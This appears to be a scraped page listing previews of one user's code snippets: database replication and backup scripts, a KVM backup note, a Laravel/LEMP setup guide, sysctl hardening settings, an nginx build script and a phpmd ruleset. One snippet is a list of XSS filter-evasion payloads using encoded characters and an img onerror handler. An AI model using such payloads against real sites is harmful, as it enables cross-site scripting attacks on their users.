shaheemirza

import re
import os
import shutil
import argparse
from os import path
from sys import stderr

#
#   Author: Daxda
#   Date:   02.04.2014

shaheemirza

Machine 1: Management Node + SQL Node

IP: 192.168.0.151

1. Install prequisition

yum install perl

shaheemirza

#!/bin/bash
#title           : mysql_replication_autostart.sh
#description     : This script automates the process of starting a Mysql Replication on 1 master node and N slave nodes.
#author		 : nicomak
#date            : 20160308
#version         : 0.1  
#usage		 : bash mysql_replication_autostart.sh
#bash_version    : 4.3.11(1)-release
#=============================================================================

shaheemirza

Live backup of KVM virtual machines

This script will let you make backups of live VMs running on KVM, using libvirt.

The backup job will suspend the VM for the time it takes to copy the RAM to disk.

Credits: Luca Lazzeroni

I've made some minor adjustments.

shaheemirza

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

shaheemirza

#Steps to install latest Laravel, LEMP on AWS Ubuntu 14.4 version. This tutorial is the improvised verision of this tutorial on Digitalocean based on my experience.

Install PHP 7 on Ubuntu

Run the following commands in sequence.

sudo apt-get install -y language-pack-en-base
sudo LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install zip unzip

shaheemirza

# Avoid a smurf attack
net.ipv4.icmp_echo_ignore_broadcasts = 1
 
# Turn on protection for bad icmp error messages
net.ipv4.icmp_ignore_bogus_error_responses = 1
 
# Turn on syncookies for SYN flood attack protection
net.ipv4.tcp_syncookies = 1
 
# Turn on and log spoofed, source routed, and redirect packets

shaheemirza

# Install dependencies
# 
# * checkinstall: package the .deb
# * libpcre3, libpcre3-dev: required for HTTP rewrite module
# * zlib1g zlib1g-dbg zlib1g-dev: required for HTTP gzip module
apt-get install checkinstall libpcre3 libpcre3-dev zlib1g zlib1g-dbg zlib1g-dev && \

mkdir -p ~/sources/ && \

# Compile against OpenSSL to enable NPN

shaheemirza

#!/bin/bash
#
## redis backup script
## usage
## redis-backup.sh port backup.dir

port=${1:-6379}
backup_dir=${2:-"/data/backup/redis"}

cli="/usr/local/bin/redis-cli -p $port"

shaheemirza

<?xml version="1.0" encoding="UTF-8"?>
<ruleset name="Laravel and similar phpmd ruleset"
    xmlns="http://pmd.sf.net/ruleset/1.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://pmd.sf.net/ruleset/1.0.0 http://pmd.sf.net/ruleset_xml_schema.xsd"
    xsi:noNamespaceSchemaLocation="http://pmd.sf.net/ruleset_xml_schema.xsd">
  <description>
    Inspired by https://github.com/phpmd/phpmd/issues/137
    using http://phpmd.org/documentation/creating-a-ruleset.html
  </description>